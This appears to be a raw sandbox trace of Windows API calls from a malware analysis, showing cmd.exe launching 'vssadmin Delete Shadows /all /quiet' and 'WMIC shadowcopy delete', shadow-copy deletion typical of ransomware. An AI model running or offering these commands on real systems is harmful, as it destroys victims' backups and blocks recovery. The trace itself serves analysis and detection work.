	[0153.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a36a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0153.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a36a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0153.327] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a36a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0153.327] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a36a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0153.327] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a36a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0153.327] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a357b40, cchData=8 | out: lpLCData=".") returned 2
	[0153.327] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a36a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0153.327] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0153.329] GetProcessHeap () returned 0x2d0000
	[0153.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x20c) returned 0x2ebae0
	[0153.329] GetConsoleTitleW (in: lpConsoleTitle=0x2ebae0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0153.329] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0153.330] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0153.330] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0153.330] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0153.331] GetProcessHeap () returned 0x2d0000
	[0153.331] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x4012) returned 0x2ecc10
	[0153.331] GetProcessHeap () returned 0x2d0000
	[0153.331] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc10 | out: hHeap=0x2d0000) returned 1
	[0153.331] GetConsoleTitleW (in: lpConsoleTitle=0x26fa70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0153.332] GetFileAttributesW (lpFileName="WMIC.exe" (normalized: "c:\\windows\\system32\\wmic.exe")) returned 0xffffffff
	[0153.332] _wcsicmp (_String1="WMIC", _String2="DIR") returned 19
	[0153.332] _wcsicmp (_String1="WMIC", _String2="ERASE") returned 18
	[0153.332] _wcsicmp (_String1="WMIC", _String2="DEL") returned 19
	[0153.332] _wcsicmp (_String1="WMIC", _String2="TYPE") returned 3
	[0153.332] _wcsicmp (_String1="WMIC", _String2="COPY") returned 20
	[0153.333] _wcsicmp (_String1="WMIC", _String2="CD") returned 20
	[0153.333] _wcsicmp (_String1="WMIC", _String2="CHDIR") returned 20
	[0153.333] _wcsicmp (_String1="WMIC", _String2="RENAME") returned 5
	[0153.333] _wcsicmp (_String1="WMIC", _String2="REN") returned 5
	[0153.333] _wcsicmp (_String1="WMIC", _String2="ECHO") returned 18
	[0153.333] _wcsicmp (_String1="WMIC", _String2="SET") returned 4
	[0153.333] _wcsicmp (_String1="WMIC", _String2="PAUSE") returned 7
	[0153.333] _wcsicmp (_String1="WMIC", _String2="DATE") returned 19
	[0153.333] _wcsicmp (_String1="WMIC", _String2="TIME") returned 3
	[0153.333] _wcsicmp (_String1="WMIC", _String2="PROMPT") returned 7
	[0153.333] _wcsicmp (_String1="WMIC", _String2="MD") returned 10
	[0153.333] _wcsicmp (_String1="WMIC", _String2="MKDIR") returned 10
	[0153.333] _wcsicmp (_String1="WMIC", _String2="RD") returned 5
	[0153.334] _wcsicmp (_String1="WMIC", _String2="RMDIR") returned 5
	[0153.334] _wcsicmp (_String1="WMIC", _String2="PATH") returned 7
	[0153.334] _wcsicmp (_String1="WMIC", _String2="GOTO") returned 16
	[0153.334] _wcsicmp (_String1="WMIC", _String2="SHIFT") returned 4
	[0153.334] _wcsicmp (_String1="WMIC", _String2="CLS") returned 20
	[0153.334] _wcsicmp (_String1="WMIC", _String2="CALL") returned 20
	[0153.334] _wcsicmp (_String1="WMIC", _String2="VERIFY") returned 1
	[0153.334] _wcsicmp (_String1="WMIC", _String2="VER") returned 1
	[0153.334] _wcsicmp (_String1="WMIC", _String2="VOL") returned 1
	[0153.334] _wcsicmp (_String1="WMIC", _String2="EXIT") returned 18
	[0153.334] _wcsicmp (_String1="WMIC", _String2="SETLOCAL") returned 4
	[0153.334] _wcsicmp (_String1="WMIC", _String2="ENDLOCAL") returned 18
	[0153.334] _wcsicmp (_String1="WMIC", _String2="TITLE") returned 3
	[0153.335] _wcsicmp (_String1="WMIC", _String2="START") returned 4
	[0153.335] _wcsicmp (_String1="WMIC", _String2="DPATH") returned 19
	[0153.335] _wcsicmp (_String1="WMIC", _String2="KEYS") returned 12
	[0153.335] _wcsicmp (_String1="WMIC", _String2="MOVE") returned 10
	[0153.335] _wcsicmp (_String1="WMIC", _String2="PUSHD") returned 7
	[0153.335] _wcsicmp (_String1="WMIC", _String2="POPD") returned 7
	[0153.335] _wcsicmp (_String1="WMIC", _String2="ASSOC") returned 22
	[0153.335] _wcsicmp (_String1="WMIC", _String2="FTYPE") returned 17
	[0153.335] _wcsicmp (_String1="WMIC", _String2="BREAK") returned 21
	[0153.335] _wcsicmp (_String1="WMIC", _String2="COLOR") returned 20
	[0153.335] _wcsicmp (_String1="WMIC", _String2="MKLINK") returned 10
	[0153.335] _wcsicmp (_String1="WMIC", _String2="DIR") returned 19
	[0153.335] _wcsicmp (_String1="WMIC", _String2="ERASE") returned 18
	[0153.335] _wcsicmp (_String1="WMIC", _String2="DEL") returned 19
	[0153.336] _wcsicmp (_String1="WMIC", _String2="TYPE") returned 3
	[0153.336] _wcsicmp (_String1="WMIC", _String2="COPY") returned 20
	[0153.336] _wcsicmp (_String1="WMIC", _String2="CD") returned 20
	[0153.336] _wcsicmp (_String1="WMIC", _String2="CHDIR") returned 20
	[0153.336] _wcsicmp (_String1="WMIC", _String2="RENAME") returned 5
	[0153.336] _wcsicmp (_String1="WMIC", _String2="REN") returned 5
	[0153.336] _wcsicmp (_String1="WMIC", _String2="ECHO") returned 18
	[0153.336] _wcsicmp (_String1="WMIC", _String2="SET") returned 4
	[0153.336] _wcsicmp (_String1="WMIC", _String2="PAUSE") returned 7
	[0153.336] _wcsicmp (_String1="WMIC", _String2="DATE") returned 19
	[0153.336] _wcsicmp (_String1="WMIC", _String2="TIME") returned 3
	[0153.337] _wcsicmp (_String1="WMIC", _String2="PROMPT") returned 7
	[0153.337] _wcsicmp (_String1="WMIC", _String2="MD") returned 10
	[0153.337] _wcsicmp (_String1="WMIC", _String2="MKDIR") returned 10
	[0153.337] _wcsicmp (_String1="WMIC", _String2="RD") returned 5
	[0153.337] _wcsicmp (_String1="WMIC", _String2="RMDIR") returned 5
	[0153.337] _wcsicmp (_String1="WMIC", _String2="PATH") returned 7
	[0153.337] _wcsicmp (_String1="WMIC", _String2="GOTO") returned 16
	[0153.337] _wcsicmp (_String1="WMIC", _String2="SHIFT") returned 4
	[0153.337] _wcsicmp (_String1="WMIC", _String2="CLS") returned 20
	[0153.337] _wcsicmp (_String1="WMIC", _String2="CALL") returned 20
	[0153.337] _wcsicmp (_String1="WMIC", _String2="VERIFY") returned 1
	[0153.337] _wcsicmp (_String1="WMIC", _String2="VER") returned 1
	[0153.337] _wcsicmp (_String1="WMIC", _String2="VOL") returned 1
	[0153.337] _wcsicmp (_String1="WMIC", _String2="EXIT") returned 18
	[0153.337] _wcsicmp (_String1="WMIC", _String2="SETLOCAL") returned 4
	[0153.337] _wcsicmp (_String1="WMIC", _String2="ENDLOCAL") returned 18
	[0153.338] _wcsicmp (_String1="WMIC", _String2="TITLE") returned 3
	[0153.338] _wcsicmp (_String1="WMIC", _String2="START") returned 4
	[0153.338] _wcsicmp (_String1="WMIC", _String2="DPATH") returned 19
	[0153.338] _wcsicmp (_String1="WMIC", _String2="KEYS") returned 12
	[0153.338] _wcsicmp (_String1="WMIC", _String2="MOVE") returned 10
	[0153.338] _wcsicmp (_String1="WMIC", _String2="PUSHD") returned 7
	[0153.338] _wcsicmp (_String1="WMIC", _String2="POPD") returned 7
	[0153.338] _wcsicmp (_String1="WMIC", _String2="ASSOC") returned 22
	[0153.338] _wcsicmp (_String1="WMIC", _String2="FTYPE") returned 17
	[0153.338] _wcsicmp (_String1="WMIC", _String2="BREAK") returned 21
	[0153.338] _wcsicmp (_String1="WMIC", _String2="COLOR") returned 20
	[0153.338] _wcsicmp (_String1="WMIC", _String2="MKLINK") returned 10
	[0153.338] _wcsicmp (_String1="WMIC", _String2="FOR") returned 17
	[0153.339] _wcsicmp (_String1="WMIC", _String2="IF") returned 14
	[0153.339] _wcsicmp (_String1="WMIC", _String2="REM") returned 5
	[0153.339] SetErrorMode (uMode=0x0) returned 0x8001
	[0153.339] SetErrorMode (uMode=0x1) returned 0x0
	[0153.339] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2d1330, lpFilePart=0x26f300 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x26f300*="system32") returned 0x13
	[0153.339] SetErrorMode (uMode=0x8001) returned 0x1
	[0153.340] GetProcessHeap () returned 0x2d0000
	[0153.340] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2d1320, Size=0x4a) returned 0x2d1320
	[0153.340] GetProcessHeap () returned 0x2d0000
	[0153.340] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2d1320) returned 0x4a
	[0153.340] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0153.340] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0153.340] GetProcessHeap () returned 0x2d0000
	[0153.340] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x104) returned 0x2ec030
	[0153.340] GetProcessHeap () returned 0x2d0000
	[0153.340] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1f8) returned 0x2d1380
	[0153.340] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2d1380, Size=0x106) returned 0x2d1380
	[0153.341] GetProcessHeap () returned 0x2d0000
	[0153.341] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2d1380) returned 0x106
	[0153.341] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0153.341] GetProcessHeap () returned 0x2d0000
	[0153.341] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xe8) returned 0x2d14a0
	[0153.341] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2d14a0, Size=0x7e) returned 0x2d14a0
	[0153.341] GetProcessHeap () returned 0x2d0000
	[0153.341] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2d14a0) returned 0x7e
	[0153.341] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.341] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x26f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f070) returned 0xffffffffffffffff
	[0153.342] GetLastError () returned 0x2
	[0153.342] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x26f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f070) returned 0xffffffffffffffff
	[0153.342] GetLastError () returned 0x2
	[0153.343] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x26f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f070) returned 0xffffffffffffffff
	[0153.343] GetLastError () returned 0x2
	[0153.343] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.343] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x26f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f070) returned 0xffffffffffffffff
	[0153.343] GetLastError () returned 0x2
	[0153.344] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x26f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f070) returned 0xffffffffffffffff
	[0153.344] GetLastError () returned 0x2
	[0153.344] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x26f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f070) returned 0xffffffffffffffff
	[0153.344] GetLastError () returned 0x2
	[0153.345] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.345] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x26f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f070) returned 0xffffffffffffffff
	[0153.345] GetLastError () returned 0x2
	[0153.345] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x26f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f070) returned 0xffffffffffffffff
	[0153.345] GetLastError () returned 0x2
	[0153.346] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x26f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f070) returned 0xffffffffffffffff
	[0153.346] GetLastError () returned 0x2
	[0153.346] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.346] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x26f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f070) returned 0x2d1530
	[0153.347] GetProcessHeap () returned 0x2d0000
	[0153.347] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x28) returned 0x2e45b0
	[0153.347] FindClose (in: hFindFile=0x2d1530 | out: hFindFile=0x2d1530) returned 1
	[0153.347] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0153.347] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
	[0153.347] GetConsoleTitleW (in: lpConsoleTitle=0x26f5c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0153.952] InitializeProcThreadAttributeList (in: lpAttributeList=0x26f378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26f338 | out: lpAttributeList=0x26f378, lpSize=0x26f338) returned 1
	[0153.952] UpdateProcThreadAttribute (in: lpAttributeList=0x26f378, dwFlags=0x0, Attribute=0x60001, lpValue=0x26f328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x26f378, lpPreviousValue=0x0) returned 1
	[0153.952] GetStartupInfoW (in: lpStartupInfo=0x26f490 | out: lpStartupInfo=0x26f490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0153.953] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1
	[0153.957] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="WMIC.exe  shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x26f3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="WMIC.exe  shadowcopy delete", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26f360 | out: lpCommandLine="WMIC.exe  shadowcopy delete", lpProcessInformation=0x26f360*(hProcess=0x54, hThread=0x50, dwProcessId=0x7cc, dwThreadId=0x60c)) returned 1
	[0155.840] CloseHandle (hObject=0x50) returned 1
	[0155.840] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0155.840] GetProcessHeap () returned 0x2d0000
	[0155.840] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eac00 | out: hHeap=0x2d0000) returned 1
	[0155.840] GetEnvironmentStringsW () returned 0x2eac00*
	[0155.841] GetProcessHeap () returned 0x2d0000
	[0155.841] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xac4) returned 0x2e8a30
	[0155.841] FreeEnvironmentStringsW (penv=0x2eac00) returned 1
	[0155.841] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0239.021] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x26f2a8 | out: lpExitCode=0x26f2a8*=0x80041014) returned 1
	[0239.021] CloseHandle (hObject=0x54) returned 1
	[0239.021] _vsnwprintf (in: _Buffer=0x26f518, _BufferCount=0x13, _Format="%08X", _ArgList=0x26f2b8 | out: _Buffer="80041014") returned 8
	[0239.022] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1
	[0239.022] GetProcessHeap () returned 0x2d0000
	[0239.022] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e8a30 | out: hHeap=0x2d0000) returned 1
	[0239.022] GetEnvironmentStringsW () returned 0x2e8a30*
	[0239.022] GetProcessHeap () returned 0x2d0000
	[0239.022] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xaea) returned 0x2ef710
	[0239.022] FreeEnvironmentStringsW (penv=0x2e8a30) returned 1
	[0239.022] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0239.022] GetProcessHeap () returned 0x2d0000
	[0239.022] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ef710 | out: hHeap=0x2d0000) returned 1
	[0239.023] GetEnvironmentStringsW () returned 0x2e8a30*
	[0239.023] GetProcessHeap () returned 0x2d0000
	[0239.023] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xaea) returned 0x2ef710
	[0239.023] FreeEnvironmentStringsW (penv=0x2e8a30) returned 1
	[0239.023] GetProcessHeap () returned 0x2d0000
	[0239.023] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e88d0 | out: hHeap=0x2d0000) returned 1
	[0239.023] DeleteProcThreadAttributeList (in: lpAttributeList=0x26f378 | out: lpAttributeList=0x26f378) 
	[0239.023] _get_osfhandle (_FileHandle=1) returned 0x7
	[0239.023] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0239.024] _get_osfhandle (_FileHandle=1) returned 0x7
	[0239.024] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1
	[0239.024] _get_osfhandle (_FileHandle=0) returned 0x3
	[0239.024] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1
	[0239.025] SetConsoleInputExeNameW () returned 0x1
	[0239.025] GetConsoleOutputCP () returned 0x1b5
	[0239.025] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0239.026] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0239.026] exit (_Code=-2147217388) 

Process:
	id = "17"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x31491000"
	os_pid = "0xa8c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 116
	os_tid = 0x598

	[0151.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afef0 | out: lpSystemTimeAsFileTime=0x1afef0*(dwLowDateTime=0x3d2cf520, dwHighDateTime=0x1d5cdef)) 
	[0151.144] GetCurrentProcessId () returned 0xa8c
	[0151.144] GetCurrentThreadId () returned 0x598
	[0151.144] GetTickCount () returned 0x1169f6b
	[0151.144] QueryPerformanceCounter (in: lpPerformanceCount=0x1afef8 | out: lpPerformanceCount=0x1afef8*=29270390414) returned 1
	[0151.146] GetModuleHandleW (lpModuleName=0x0) returned 0x4a320000
	[0151.146] __set_app_type (_Type=0x1) 
	[0151.146] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a347810) returned 0x0
	[0151.146] __getmainargs (in: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610, _DoWildCard=0, _StartInfo=0x4a34e0f4 | out: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610) returned 0
	[0151.147] GetCurrentThreadId () returned 0x598
	[0151.147] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x598) returned 0x3c
	[0151.459] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0151.460] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0151.460] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0151.461] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0151.461] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afe88 | out: phkResult=0x1afe88*=0x0) returned 0x2
	[0151.462] VirtualQuery (in: lpAddress=0x1afe70, lpBuffer=0x1afdf0, dwLength=0x30 | out: lpBuffer=0x1afdf0*(BaseAddress=0x1af000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.462] VirtualQuery (in: lpAddress=0xb0000, lpBuffer=0x1afdf0, dwLength=0x30 | out: lpBuffer=0x1afdf0*(BaseAddress=0xb0000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.462] VirtualQuery (in: lpAddress=0xb1000, lpBuffer=0x1afdf0, dwLength=0x30 | out: lpBuffer=0x1afdf0*(BaseAddress=0xb1000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.462] VirtualQuery (in: lpAddress=0xb4000, lpBuffer=0x1afdf0, dwLength=0x30 | out: lpBuffer=0x1afdf0*(BaseAddress=0xb4000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.462] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x1afdf0, dwLength=0x30 | out: lpBuffer=0x1afdf0*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30
	[0151.462] GetConsoleOutputCP () returned 0x1b5
	[0151.463] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0151.464] SetConsoleCtrlHandler (HandlerRoutine=0x4a343184, Add=1) returned 1
	[0151.464] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.464] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0151.466] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.466] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1
	[0151.467] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.467] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0151.467] _get_osfhandle (_FileHandle=0) returned 0x3
	[0151.467] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1
	[0151.468] _get_osfhandle (_FileHandle=0) returned 0x3
	[0151.468] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0151.469] GetEnvironmentStringsW () returned 0x298a60*
	[0151.470] GetProcessHeap () returned 0x280000
	[0151.470] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xa7c) returned 0x2994f0
	[0151.470] FreeEnvironmentStringsW (penv=0x298a60) returned 1
	[0151.470] GetProcessHeap () returned 0x280000
	[0151.470] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x299f80
	[0151.470] GetEnvironmentStringsW () returned 0x298a60*
	[0151.470] GetProcessHeap () returned 0x280000
	[0151.470] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xa7c) returned 0x299fa0
	[0151.471] FreeEnvironmentStringsW (penv=0x298a60) returned 1
	[0151.471] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aed48 | out: phkResult=0x1aed48*=0x44) returned 0x0
	[0151.472] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x0, lpData=0x1aed60*=0x18, lpcbData=0x1aed44*=0x1000) returned 0x2
	[0151.472] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x4, lpData=0x1aed60*=0x1, lpcbData=0x1aed44*=0x4) returned 0x0
	[0151.472] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x0, lpData=0x1aed60*=0x1, lpcbData=0x1aed44*=0x1000) returned 0x2
	[0151.472] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x4, lpData=0x1aed60*=0x0, lpcbData=0x1aed44*=0x4) returned 0x0
	[0151.472] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x4, lpData=0x1aed60*=0x40, lpcbData=0x1aed44*=0x4) returned 0x0
	[0151.472] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x4, lpData=0x1aed60*=0x40, lpcbData=0x1aed44*=0x4) returned 0x0
